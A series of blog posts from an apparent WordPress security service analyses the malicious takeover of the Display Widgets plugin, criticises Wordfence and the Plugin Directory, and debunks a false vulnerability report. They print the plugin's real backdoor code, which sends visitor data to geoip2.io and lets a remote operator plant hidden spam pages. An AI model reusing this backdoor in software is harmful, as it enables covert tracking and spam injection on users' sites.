13 Sep

Wordfence Would Rather Promote Their Plugin Than Address Important Issues Putting WordPress Websites at Risk

When it comes to improving the security of WordPress it often times seems that security companies more interested in promoting themselves than actually improving security. One company that comes to mind is Wordfence, so it wasn’t surprising to see when they discussed the recent malicious takeover of the Display Widgets plugin it was devoid of any discussion of the real problems this situation highlighted and that need to be fixed, instead it was largely a rather explicit ad for people being reliant on their plugin, when the average WordPress website shouldn’t even need any security plugin if security was being handled right.

Advertising over Proper Security of WordPress

It only takes getting to third paragraph to get to them promoting their plugin:

Wordfence warns you if you are using a plugin that has been removed from the repository. During the past months you would have been warned several times that this plugin has been removed with a ‘critical’ level warning that looks like this:

Further in the post is a whole section promoting how they warn:

The last part of that stands out:

I’m incredibly proud that our team took the initiative and got this feature released in June of this year, just in time to save many of our free and paid customers from being affected by this malicious plugin.

What is striking is while they believe that is so important, they don’t even suggest that this capability should be in WordPress itself. That is something that we have been trying to get to happen for over 5 years. It would be great if Wordfence would get behind that effort instead trying to get people reliant on their plugin. If a security feature is truly needed for the average website, it shouldn’t require an additional plugin or service since that will leave a lot of websites insecure. Of course if your plugin already has 2+ million active installs, you probably don’t have an incentive to make sure WordPress is properly secured since it would negate a lot of the people needing your plugin.

You don’t have to take our word that they want people reliant on their plugin, here is another part of the post where they explicitly say this:

As I mentioned in the introduction, Wordfence would have warned you each time this plugin was removed from the repository. It is important that you have Wordfence installed and have your email alerts configured.

In another section they say knowing that plugins have been removed is part of being “on top of security”:

I would also ask you to not start any witch hunts. I’m sure some folks are angry about what transpired here, but things happen and if you were on top of security, you would have been notified that the plugin was removed from the repository and you would have removed it from your site.

Getting back to that previous section, not surprisingly coming from Wordfence, the rest of what they are saying isn’t really true. The users of their plugin were only warned that the plugin had been removed after it was removed from the Plugin Directory, which means even if they removed it immediately they would have still been affected. But it you look at the second quote there, that person had kept the plugin installed after Wordfence warned about it being removed multiple times.

Seeing as plugins are removed from the Plugin Directory for various reasons, removing a plugin from a website immediately just because it was removed from the Plugin Directory is less than ideal. For example, if a plugin is removed because the developer is no longer supporting it, while you would probably want to move away from it, you wouldn’t have need to do that immediately. This would be another reason for having WordPress notify people, as they would know why it was removed.

Any protection that Wordfence provided was not based on anything they did beyond adding a feature (years after they should have), which brings us to what else is missing from their post.

Those Who Don’t Learn From History are Doomed to Repeat it

One constant in security is change; you have to continually review what is happening and adjust. For example, with our service that has meant an increasing focus of PHP objection vulnerabilities as those became a popular target for hackers. That has lead to us identifying and helping to get many of those fixed before they are exploited on a large scale (and hopefully before they were ever exploited).

When it comes to this situation, Wordfence doesn’t take anything close to a critical look as to what happened on the WordPress side of things. That is particularity striking since they are claiming that how you would have protected yourself from this would be by removing the plugin after it was removed from the Plugin Directory, which has to be done by someone on the WordPress side of things.

The reality here is things did not go right and there isn’t good reason to believe that they will get corrected when they involve issues that have been known for some time and when those in the security industry are more interested in promoting their products and services over even touching on them.

The start of the problems with this plugin are not something we would fault anyone other than the person that took it over. Unlike Wordfence we never mentioned who previously owned it, because that seemed rather irrelevant to what happened after they sold it.

Depending on how ownership is transferred it isn’t necessarily possible to determine if it has been transferred without someone involved publicly disclosing it. It might make sense to provide a process where people could indicate they are transferring ownership, which could provide better insight if something goes wrong, but it would be limited, since someone with malicious intentions would probably try to avoid that happening.

It also is would be very difficult to spot someone first adding malicious code to a plugin if they want to hide what they are doing. The proactive monitoring of changes made to plugins that we do uses checks based in part on previous instances of intentionally (and possibly intentionally) malicious code, but so far we haven’t found anything added this time that we think it would make sense to look for.

Where the fault starts is after the first version by the new owner, which would request a zip file from a remote location and loads code from it on the website. That not only violated the developer guidelines for WordPress plugins, but should have raised serious red flags because even what was presented as the legitimate usage of the files added, which was tracking anyone accessing a website using the plugin, has been the kind of thing that has been done with other software when it has been taken over by bad actors.

Let’s go the timeline included in the Wordfence post for what happened with the next release of the plugin following that occurring:

Then on June 30th, 7 days later, the developer released version 2.6.1 of the plugin. This release contained a file called geolocation.php which, no one realized at the time, contained malicious code

The last part is in red in original, so it is really being highlighted. What is never addressed in the Wordfence post is if someone should realized that it contained malicious code. In our looking over the code in that version, based on what was in the previous version it seems like it should have at least raised questions about what is going on. We believe if those questions were asked of the developer the plugin would not have returned. This incident seems like it should be a wakeup call that how things have been has not been working, but if security companies won’t say that, it is less likely to happen.

Changes don’t have to just rely on people on the WordPress side of things. One idea we had mentioned in that post, is that when a vulnerability is fixed in a plugin that there should be a capability for others outside of the WordPress team to be provided information needed to look over what happened and what the fix was, which could also apply for other security issues. That would provide a better chance of things like what happened here being caught. That seems like a really good idea especially when you consider that not only do we frequently find that vulnerability that were supposed to have been fixed haven’t been, but we have specifically found that has occurred with plugins that have been removed from the Plugin Directory.

On July 23rd, Calvin Ngan opened a Trac ticket reporting that Display Widgets was injecting spammy content into his website. He included a link to Google results that had indexed the spam and said the malicious code is in geolocation.php.

On the 24th of July the WordPress.org plugin team removed Display Widgets from the plugin repository for a third time.

On the 2nd of September version 2.6.3 of the plugin was released and it included the same malicious code. Line 117 of geolocation.php in version 2.6.3 even contains a minor bug fix to the malicious code, which makes it clear that the authors themselves are maintaining the malicious code and understand its operation.

On September 7th a forum user on WordPress.org reports that spam has been injected into their website on the Display Widgets plugin support forum.

There is something missing in the timeline that seems important. As we mentioned in one of our posts the information provided in what is linked to for July 23 shows what the malicious code in the plugin was being used for, but also where the malicious code was. Yet the plugin returned at some point before September 7th (Google caching shows it had been returned by at least September 5, but it could have occurred long before that). How did the plugin get returned when it should have been clear that there was malicious code in it?

Accuracy Issues

One of the other problems we often see with things put out by Wordfence is they make claims that are not accurate, which hasn’t so far caused others to have the level of scrutiny of their claims they should receive. The claims are sometimes rather serious, such as a recent claim that a plugin was under attack. There is a glaring one in the timeline, though less serious one, in this post, which we mention, because, as we just said, people should be much more careful before believing or repeating claims made by Wordfence. Here is the first mention of it:

On the 2nd of September version 2.6.3 of the plugin was released and it included the same malicious code. Line 117 of geolocation.php in version 2.6.3 even contains a minor bug fix to the malicious code, which makes it clear that the authors themselves are maintaining the malicious code and understand its operation.

That links doesn’t work anymore; here is a link to the same thing that still works.

They make it again here:

The 2.6.3 release of their plugin makes a minor modification to the malicious code in geolocation.php to fix a bug in the code that lets the plugin author list the malicious posts they have published on your site.

The change they are referring to occurred in version 2.6.2.1, not 2.6.3. The only change made in version 2.6.3 was to fix a supposed vulnerability, which didn’t exist. That seems like it could be an important element to what happened here, but goes unmentioned in Wordfence’s post for some reason.

Update 9/18: After looking at an article at the Threatpost that sourced most of its information from Wordfence’s post, we noticed a more problematic issue related to this inaccuracy. Wordfence inaccurately stated the that versions up to 2.6.3 were contained malicious code:

Actually, the backdoor exists on any site running versions 2.6.1 to version 2.6.3 of the plugin.

Version 2.6.3.1, which Worfdence never mentioned, also contained malicious code.

12 Sep

More of WordPress’ Poor Handling of Plugin Security as Seen Through Malicious Takeover of Display Widgets

Yesterday we looked at what happened when a popular plugin, Display Widgets, was purchased by someone (or someones) with malicious intent and people on the WordPress side of things handle things poorly. In a link included in one of the comments on that post we found another piece of the what happened that makes WordPress’ handling of this seem worse, while also providing yet another reminder of how even basic improvements are not happening to the process of handling vulnerabilities in plugins.

Part of one of the comments reads:

highly recommend scanning the installation for remaining MySQL data : https://core.trac.wordpress.org/ticket/41414 then switch to other plugin alternative.

What is written there is very interesting:

This plusgin
https://wordpress.org/plugins/display-widgets/

creates undetectedable pages with spammy links.
I believe the code can be found in their geolocation.php

https://www.google.com/search?q=geckoandfly.com+payday&ie=utf-8&oe=utf-8&client=firefox-b

I’ve removed the secret page, but after going thru my MySQL, i found a few codes that related back to the said plugin. things like 3371_last_checked_3771 and displaywidgets_ids, all created by the plugin and inserted in wp-options.

the article and pages cannot be search via post/page, only can be found in wp-options.

ever since it was sold to the new owner, it comes with many funny codes.

That lays out not only how the malicious code in the plugin was being used, but also where to look in to the code to find it, as looking through the instances of “displaywidgets_ids” and “3371_last_checked_3771″ in the code would lead to the malicious code we discussed in the previous post.

Reporting Security Issues Needs to Easier

What was problematic was that this information was filed as a bug in WordPress, which it isn’t. The response to it reads in part:

For future reference, it’s best to contact the plugin team for plugin-related issues, at plugins@…. I’ve closed the plugin and contacted the team, for them to review it.

So it would appear that Plugin Directory team was provided the information, which we will get back to in a moment. But first, what is worth mentioning is a problem that we and it turns out others have been raising about the handling of reporting information on security issues in plugins. The follow up to the above response from the original poster was:

Hi, I understand, but I tried searching for a way to contact wordpress but failed to do so, maybe it is a good idea to have a ‘report’ button on every plugin? The new guy behind Display Widget is up to now good.

They certainly are not alone in not being able to find where to report a security issue with a plugin. We have seen this repeatedly, and brought it up a couple of times last year. In one we suggested either adding a link to plugin pages or text to the new thread text for the support forum (the original poster had posted on the Support Forum, so they could have seen the information if it was shown there).

In response it turns out that this on the “todo list”

Adding a direct link to report a plugin is on the todo list, it just hasn’t been tackled, yet. See #meta1598.

Looking at what is linked to, there were questions raised about doing, but there is no indication that any action is being taken. From that we also found that idea was previously brought up four years ago.

Malicious Code Remains in the Plugin

Getting back to the malicious code in this plugin, the reporting of the malicious code occurred on July 23. We don’t know all of what happened after that, but looking at the changes to the plugin and the fact that plugin had returned (it looks to have been recently there, at least from September 5-8, based on Google caching) shows something went very wrong.

There were two subsequent updates to the plugin by the malicious owners. Version 2.6.3 was submitted on September 2 and made a minor change to the plugin. As we discussed yesterday, the vulnerability that version was supposed to have fixed didn’t actually exist. With more than a quick glance at the claimed vulnerability anyone that should be involved in the handling of security issues in plugins on the WordPress side, should have seen that. What we don’t know is if the plugin was restored before that was released. If it was restored before then, what would have been the explanation the developer could have possible given to the Plugin Directory that would have allowed it back? If it was restored due to that, we don’t see how that change should have cleared concern there should have been about the malicious code.

One September 8 the final version they released, 2.6.3.1, makes a more significant change. What seems most relevant is that in this version it no longer uses options named “displaywidgets_ids” and “3371_last_checked_3771″ to store spam posts and if they exist, they are removed. In its place is new code that generates a unique value for each installation used for the name of the option where spam content is stored, using the code shown below:

$unique_id = substr( md5( get_site_url() . 'unique' ), 0, 10 );
$encoded = get_option( $unique_id, 'undefined' );

That would make it harder to spot what is going on, since in each website it would have a different name.

A Full Accounting Needed

There are a lot of things that are handled in less than ideal fashion when it comes to the handling of security issues with WordPress plugins, but the ability for anyone on the outside to make suggestions to improve those is limited due to the opaque nature of just about everything that is done. For example, while there are a number of issue related to the handling of security reviews that are done before plugins are returned to the Plugin Directory after a security issue is identified, we are not even aware of any mention that these reviews take place, much less what they might involve or what type of people are doing them

What this situation really calls for is a full accounting of what happened on the WordPress side, because the bits and pieces we have so far seem to indicate things went very wrong. Without knowing want went wrong it seems unlikely the problems will get fixed, so that when another plugin gets taken over by someone with malicious intent the damage caused does not go on like it did with this for several months.

11 Sep

Not Everyone Doing Security Vulnerability Testing of WordPress Plugins Knows What They Are Doing

We often say that a lot of the people in the security industry don’t know and or care much about security, and we unfortunately keep coming across examples of that. The latest example involves a really bad vulnerability assessment that we ran across while looking in to what recently happened with the plugin Display Widgets, which involved the new owner of the plugin placing malicious code in to it. While looking into that situation we noticed that the changelog entry for version 2.6.3 of the plugin said:

Fixed a vulnerability highlighted by one of our users. I encourage all my users to upgrade as soon as possible.

If you looked over the referenced PDF at phpbuilt.com it looks rather professionally done at first glance, but a closer look shows that the information in the report is very incorrect.

Before we get in to the details what is worth mentioning is the information at the top of the report, since some of it seems at odds with what the report shows about the person behind it. The writer of the report describes themselves as a “PHP and WordPress Plugin Developer”.

They also list the following items under the header “PHP”:

Custom Application Development
Database Performance Consultant
Web Scraping and Data Mining
Zend PHP Certification

And the following items under the heading “WordPress”:

Custom Plugin Development
Security Vulnerability Testing
Wordpress Theme Developer
Zend Framework Certification

(That is all copied from the PDF, so the missing capitalization of the “p” in WordPress is not a mistake on our part.)

Here is the summary of the supposed issue:

Summary: A simple description of the vulnerability of the Display Widgets wordpress plugin is below, followed by
a more thorough explanation.
1. A remote file is included via wp_remote_get in geolocation.php ( http://geoip2.io/api/update/?url= ) inside
geolocation.php
2. Part of the URL includes a variable containing the user’s IP address ( &ip= )
3. The IP utilizes a header ( X-Forwarded-For ) which can be spoofed, and is not filtered in the code.
4. WordPress’s method of page retrieval (wp_remote_get) is a CURL wrapper.
5. Curl accepts multiple addresses in one request separated by space (
https://curl.haxx.se/docs/httpscripting.html section 3.3 )
TLDR; problem: It is possible to forge an X-Forwarded-For header, injecting a second URL to be requested by
the client, turning it into a remote file inclusion vulnerability.

The first problem with this isn’t too hard to understand. Remote file inclusion (RFI) involves including a file from a remote location. In PHP there are several functions that come to mind that could be used for that, include(), include_once()require(), and require_once(). The function include() will caused the specified file to evaluated (or in simpler terms that code in the file to be run). The function require() identical except it will produced a fatal error if the inclusion doesn’t work. The _once variants of those two will cause an included file to only be included once if there a multiple requests to included it. There are other functions that depending on how wide you wide to stretch the term could be utilized as well, including eval().

In the summary it says that the “file is included via wp_remote_get”, but the wp_remote_get() function doesn’t include files at all, it just makes a request for a URL. Nowhere in the report is there any mention of how the URL requested would actually be included and the only use of any inclusion function is in fact to the load the file that the code mentioned was contained in:

include_once( plugin_dir_path( __FILE__ ) . '/geolocation.php' );

If the person doing this report was not in on the malicious code being added to the plugin, they appear to have not had a basic understanding of what is remote file inclusion is and not read the three pages they linked to that explain that type of vulnerability:

Some examples of how remote file inclusion can hack a wordpress installation:
http://www.hackeroyale.com/hacking-websites-using-rfi-remote-file-inclusion-attack/
https://hack2rule.wordpress.com/category/remote-file-inclusion/
http://hackaday.com/2017/07/31/the-dark-arts-remote-file-inclusion/

There is another huge problem with this that doesn’t require someone to have security knowledge, but just general coding knowledge, which the person behind the report certainly seems to be claiming to have.

Here is the relevant code for item 2 of the summary:

&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) .

That contradicts item 3 of the summary, which states that “The IP utilizes a header ( X-Forwarded-For ) which can be spoofed, and is not filtered in the code.”.

The only place “X-Forwarded-For” is utilized is in the function get_remote_ip():

22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static function get_remote_ip() {
	$remote_ip = '';
 
	if ( !empty( $_SERVER[ 'REMOTE_ADDR' ] ) && filter_var( $_SERVER[ 'REMOTE_ADDR' ], FILTER_VALIDATE_IP ) !== false ) {
		$remote_ip = $_SERVER[ 'REMOTE_ADDR' ];
	}
 
	$originating_ip_headers = array( 'X-Forwarded-For', 'HTTP_X_FORWARDED_FOR', 'CF-Connecting-IP', 'HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_FORWARDED', 'HTTP_X_FORWARDED' );
	foreach ( $originating_ip_headers as $a_header ) {
		if ( !empty( $_SERVER[ $a_header ] ) ) {
			foreach ( explode( ',', $_SERVER[ $a_header ] ) as $a_ip ) {
				if ( filter_var( $a_ip, FILTER_VALIDATE_IP ) !== false && $a_ip != $remote_ip ) {
					$remote_ip = $a_ip;
					break;
				}
			}
		}
	}
 
	return $remote_ip;
}

That clearly is the usage they are referring to based on where they explain to placed their solution for the claimed vulnerability:

This code should be inserted at line #35 (immediately under the line: $remote_ip = $a_ip;) in the file
geolocation.php

The function get_remote_ip() is never used in the plugin, so we don’t understand how they thought that code in it could have been involved in a vulnerability.

Getting a Plugin’s Security Reviewed

Based on our experience dealing with lots of hacked websites, as well as finding vulnerabilities in plugins that look like they are already being exploited, and doing security review of plugins, our recommendation is that if you think that a plugin might have been the source of the hack, you shouldn’t be looking to have a security review of it done. Instead we would recommend hiring someone that properly cleans up hacked website, which involves determining how the website was hacked, to review the situation. Based on past experience there is a good chance the plugin was not the cause of the hacking. If it was, someone that knows what they are doing when it comes to determining how websites are hacked should be able to handle that best.

If you just have a general concern about the security of a WordPress plugin and you want to hire someone to review of its security what we would tell you to be wary, because what we have seen of people offering them hasn’t been reassuring that they knew what they were doing. In one case, we came across a company that was offering to do security review of WordPress plugins when we went to report a vulnerability that existed in their plugin. The vulnerability wasn’t serious, though it was the kind that many in the security industry would like you to believe otherwise, but it was caused by a failure to do basic security. In the case of another company, which we had considered hiring to do reviews of plugins before we started doing them ourselves as part of our service, we found that one of their reports incorrectly stated that a vulnerability they had found had been fixed. While that could happen for more understandable reasons, in that case it seems to be due to a fairly fundamental misunderstanding of security. When we contacted them about the possibility that there was mistake in claiming the vulnerability was fixed, we never got a response, which ended our consideration of them.

Another thing that concerns us is that the other companies we have seen offering them don’t provide any information on what they are reviewing for. That could mean that they will review for anything possible, but more likely they are not reviewing for a lot of things and no one can easily point out the limitations of their reviews. By comparison we test for a specific set of items when doing review. In the case of this report it is claimed that every line of code was reviewed:

I can, however, state that remote file inclusion is a serious vulnerability and after going over every line
of code, I’m convinced this is the vulnerability being experienced.

That clearly didn’t produce good results in this instance.

11 Sep

WordPress’ Poor Handling of Plugin Security Exacerbates Malicious Takeover of Display Widgets

Recently there has been a fair amount of coverage of popular Chrome extensions being modified to include malicious code after the login credentials used to control them in the Chrome Web Store had been compromised through phishing. In the past extensions have been purchased and then malicious code added to them as well. There is no reason that the same thing can’t happen with WordPress plugins and recent similar situation with the plugin Display Widgets shows that the people on the WordPress side of things are not currently up to task of handling this type of situation properly. Unfortunately, this isn’t at all surprising because elements of the failure with this situation are things that we have been seeing and discussing for some time.

What we also found interesting about the situation is that it was made worse by the people on the WordPress side alienating someone who actually did the work they should have done. The cause of that is also something that we have experienced and fixing it was one of things we laid out as something that needed to be worked on being corrected before we would started notifying the Plugin Directory about plugins with publicly known vulnerabilities in the current version of the plugin again. We will discuss that further in a follow up post, but first let’s take a look at what happened with the plugin that lead to malicious code being introduced to many websites.

A New Owner

The plugin Display Widgets, which has 200,000+ active installs according to wordpress.org, was purchased from the original developer in May of this year. Prior to that the last update was in October of 2015 and the plugin was only listed as being compatible with up to WordPress 4.3.

If you want to takeover an abandoned plugin, WordPress has a process for that and they say they might deny a takeover for the following reasons:

  • The requesting developer does not have the experience we feel the plugin requires
  • The requested plugin is deemed high-risk
  • The existing developer is a company or legal entity who owns the trademark
  • The requesting developer has had multiple guideline infractions

If you were to takeover a plugin directly from the developer there is no restriction. In this case the account of the developer on wordpress.org was created the same day they made their first change to the plugin after taking ownership.

A Red Flag

The first release from the new developer sounds highly problematic. Here is how it is described by David Law (the file mentioned is no longer available for download, so we can’t independently confirm this):

What it added was an automated download of another plugin (a geolocation widget: was over 50MB in size!) from a private server!

Automatically installing code from a private server is against the WordPress plugin repository rules.

The new code also connected to another server to track visitors data including:

IP Address (can potentially track you to your street address)
Webpage Visited (URL of the webpages a visitor visited)
Site URL (the URL of the WordPress site the Display Widgets plugin is installed on)
User Agent (which browser the visitors uses etc…)

Automatically tracking user data etc… without the permission of the site owner is against the WordPress plugin repository rules.

David then reported this and action was taken:

I reported the infringements to the plugin repository, simply email them via plugins@wordpress.org and explain what’s you think is wrong.

Version 2.6.0 was removed from the plugin repository. If you are using version 2.6.0 of the Display Widgets Plugin on your site, remove it NOW.

The plugin repository are very understanding, a week or so later the developer released a new version (v2.6.1).

Spam Posts Added

Considering what happened there you would hope the people running the Plugin Directory would have carefully checked the new version of the plugin, but they don’t seem to have. That isn’t all that surprising to us because in the past we have noted that they have returned plugins to the directory despite the vulnerability that caused them to be removed having not been fixed. Making sure that a known vulnerability has been fixed is much easier than making sure there isn’t any malicious code in a plugin, so if you fail at that former, the latter isn’t surprising. Unfortunately we have seen zero interest from the WordPress side to fix this or many of the other issues we have seen with their activity.

In version 2.6.1 there was code added that should have raised the suspicions even without fully understanding what was going on in totality. In particular was the new function check_query_string() in the new file geolocation.php:

86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
public static function check_query_string() {
	$displaywidgets_ids =  get_option( 'displaywidgets_ids', array() );
 
	if ( empty( $displaywidgets_ids[ '__3371_last_checked_3771__' ] ) || intval( date( 'U' ) ) - intval( $displaywidgets_ids[ '__3371_last_checked_3771__' ] ) > 86400 ) {
		$displaywidgets_ids[ '__3371_last_checked_3771__' ] = date( 'U' );
		update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
 
		$request_url = 'http://geoip2.io/api/update/?url=' . urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=1&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
		$options = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
		$response = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $options ) );
	}
 
	if ( !empty( $_GET[ 'pwidget' ] ) && !empty( $_GET[ 'action' ] ) && $_GET[ 'pwidget' ] == '3371' ) {
		$message = 'invalid payload';
 
		if ( ( $displaywidgets_ids === false || !is_array( $displaywidgets_ids ) ) && $_GET[ 'action' ] != 'p' ) {
			$message = 'no id found';
		}
		else {
			nocache_headers();
			switch ( $_GET[ 'action' ] ) {
				case 'l':
					if ( is_array( $displaywidgets_ids ) && !empty( $displaywidgets_ids ) ) {
						$message = implode( ',', array_keys( $displaywidgets_ids ) );
					}
					else if ( !empty( $displaywidgets_ids ) ) {
						$message = serialize( $displaywidgets_ids );
					}
					else {
						$message = 'no id found';	
					}
					break;
 
				case 'd':
					if ( isset( $_GET[ 'pnum' ] ) ) {
						if ( isset( $displaywidgets_ids[ $_GET[ 'pnum' ] ] ) ) {
							unset( $displaywidgets_ids[ $_GET[ 'pnum' ] ] );
							update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
							$message = 'deleted ' . $_GET[ 'pnum' ];
						}
						else {
							$message = 'id not found';
						}
					}
					break;
 
				case 'da':
					update_option( 'displaywidgets_ids', array(), false );
					$message = 'deleted all';
					break;
 
				case 'p':
					$request_url = 'http://geoip2.io/api/check/?url=' . urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=1&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
					$options = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
					$response = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $options ) );
 
					if ( !empty( $response ) ) {
						$response = @json_decode( $response );
					}
 
					if ( !is_object( $response ) ) {
						break;
					}
 
					$key = $response->purl;
					if ( isset( $_GET [ 'pnum' ] ) ) {
						$key = sanitize_title( $_GET [ 'pnum' ] );
					}
 
					if ( empty( $key ) && !empty( $response->ptitle ) ) {
						$key = sanitize_title( $response->ptitle );
					}
 
					if ( !empty( $key ) ) {
						$displaywidgets_ids[ $key ] = array(
							'post_title' => !empty( $response->ptitle ) ? $response->ptitle : 'A title',
							'post_content' => !empty( $response->pcontent ) ? $response->pcontent : 'Content goes here',
							'post_date' => date( 'Y-m-d H:i:s', rand( intval( date( 'U' ) ) - 2419200, intval( date( 'U' ) ) - 1814400 ) )
						);
						update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
 
						$message = $key . ' | ' . get_bloginfo( 'wpurl' ) . '/' . $key;
					}
					break;
 
				default:
					break;
			}
		}
 
		echo $message;
		die();
	}
}

What should have brought attention to is it that there are requests being made to a remote server, http://geoip2.io in that code.

The rest of the code seems rather odd in a quick look. The code will take different actions based on the GET input “action”:

106
switch ( $_GET[ 'action' ] ) {

Nowhere in the plugin are there any requests that would be handled this code, which seems strange.

What seems to be the most important part of this code is what is run when the “action” is “p”:

137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
case 'p':
	$request_url = 'http://geoip2.io/api/check/?url=' . urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=1&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
	$options = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
	$response = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $options ) );
 
	if ( !empty( $response ) ) {
		$response = @json_decode( $response );
	}
 
	if ( !is_object( $response ) ) {
		break;
	}
 
	$key = $response->purl;
	if ( isset( $_GET [ 'pnum' ] ) ) {
		$key = sanitize_title( $_GET [ 'pnum' ] );
	}
 
	if ( empty( $key ) && !empty( $response->ptitle ) ) {
		$key = sanitize_title( $response->ptitle );
	}
 
	if ( !empty( $key ) ) {
		$displaywidgets_ids[ $key ] = array(
			'post_title' => !empty( $response->ptitle ) ? $response->ptitle : 'A title',
			'post_content' => !empty( $response->pcontent ) ? $response->pcontent : 'Content goes here',
			'post_date' => date( 'Y-m-d H:i:s', rand( intval( date( 'U' ) ) - 2419200, intval( date( 'U' ) ) - 1814400 ) )
		);
		update_option( 'displaywidgets_ids', $displaywidgets_ids, false );
 
		$message = $key . ' | ' . get_bloginfo( 'wpurl' ) . '/' . $key;
	}

At first glance it isn’t clear what this code might be doing, but it does seem odd. It seems to us that simply trying to find out what it did from the developer would have lead to the plugin not being restored with that code in it.

What the code looks to be doing is generating a WordPress post and saving it as a WordPress option (setting), which also seems odd.

Where that setting is used is with the function dynamic_page(). That function runs when a set of posts is being generated:

add_filter( 'the_posts', array( 'dw_geolocation_connector', 'dynamic_page' ) );

Here is the code of the function:

181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
public static function dynamic_page( $posts ) {
	if ( is_user_logged_in() ) {
		return $posts;
	}
 
	$displaywidgets_ids =  get_option( 'displaywidgets_ids', array() );
	if ( $displaywidgets_ids === false || !is_array( $displaywidgets_ids ) ) {
		return $posts;
	}
 
	$requested_page_slug = strtolower( $GLOBALS[ 'wp' ]->request );
 
	if ( count( $posts ) == 0 && array_key_exists( $requested_page_slug, $displaywidgets_ids) ) {
		$post = new stdClass;
		$post_date = !empty( $displaywidgets_ids[ $requested_page_slug ][ 'post_date' ] ) ? $displaywidgets_ids[ $requested_page_slug ][ 'post_date' ] : date( 'Y-m-d H:i:s' );
 
		$post->post_title = $displaywidgets_ids[ $requested_page_slug ][ 'post_title' ];
		$post->post_content = $displaywidgets_ids[ $requested_page_slug ][ 'post_content' ];
 
		$post->post_author = 1;
		$post->post_name = $requested_page_slug;
		$post->guid = get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug;
		$post->ID = -3371;
		$post->post_status = 'publish';
		$post->comment_status = 'closed';
		$post->ping_status = 'closed';
		$post->comment_count = 0;
		$post->post_date = $post_date;
		$post->post_date_gmt = $post_date;
 
		$post = (object) array_merge(
			(array) $post, 
			array( 
				'slug' => get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug,
				'post_title' => $displaywidgets_ids[ $requested_page_slug ][ 'post_title' ],
				'post content' => $displaywidgets_ids[ $requested_page_slug ][ 'post_content' ]
			)
		);
 
		$posts = NULL;
		$posts[] = $post;
 
		$GLOBALS[ 'wp_query' ]->is_page = true;
		$GLOBALS[ 'wp_query' ]->is_singular = true;
		$GLOBALS[ 'wp_query' ]->is_home = false;
		$GLOBALS[ 'wp_query' ]->is_archive = false;
		$GLOBALS[ 'wp_query' ]->is_category = false;
		unset( $GLOBALS[ 'wp_query' ]->query[ 'error' ] );
		$GLOBALS[ 'wp_query' ]->query_vars[ 'error' ] = '';
		$GLOBALS[ 'wp_query' ]->is_404 = false;
	}
 
	return $posts;
}

When a request is made by someone that isn’t logged and there are not any posts already included for the request it will add the post from the setting.

What that code been used is to add spam posts to websites.

Removed and Removed

According to David Law there multiple subsequent removals of the plugin, which then returned with the malicious code still in the plugin. This seems like a good example of where more information could have help because when a plugin is removed there is no information given as to why it happened, so there is limited opportunity for others to review things. We also have thought it would be useful for there to be a process for outside of the WordPress team to be able to review changes being made to plugins to fix vulnerabilities (which could also be applied to potentially malicious code), as that increases the chances that if a vulnerability isn’t fully fixed it will be caught, as well as possible leading to additional vulnerabilities being identified.

At this point the plugin is removed again from the directory again and the account of the developer(s) has been banned. That seems like it would have happened if people on WordPress side had treated David Law better, as he explains:

Had I not been unfairly moderated for reporting earlier issues I’d have reported these issues over 6 weeks ago and many of the hacked sites wouldn’t have been hacked (assuming WordPress removed the plugin).

We will discuss that in more depth in a follow up post.

Removing the plugin from the directory doesn’t do anything to protect anyone using the plugin already. One solution would be for WordPress to finally start warning people when they are using plugins with this type of situation, which they so far not done, while at times saying they will. The other option is to release a new version that isn’t vulnerable, which is something that people involved with the Plugin Directory claim to do, but almost never really do, which is something they don’t seem to want that to even be discussed.

More Plugins Impacted?

One of the outstanding questions is who was behind this and if this was an isolated incident.

In one recent thread there was an indication that there were at least two people involved, based on the following:

The other admin here. Unfortunately the addition of the GEO Location made the software vulnerable to a exploit if used in conjunction with other popular plugins.

That obviously could be untrue though.

In another thread it was mentioned that developers were based in the US:

Apologies for the delay. Please consider that it is Independence Day weekend here in the United States, and even plugin developers deserve to spend some quality time with their families, don’t you think?

Though in another thread an email address was given for a UK based domain name:

Instead please contact kevin.danna@wpdevs.co.uk and please provide who ever you contact, with that email address.

On the website for that domain they claim to have 34 plugins with 10 million+ installs:

There is nothing on that website that backs up those claims. If you click the button “34 Plugins & Counting” it takes you the only other page on the website:

The text on that page doesn’t exactly make them sound legitimate:

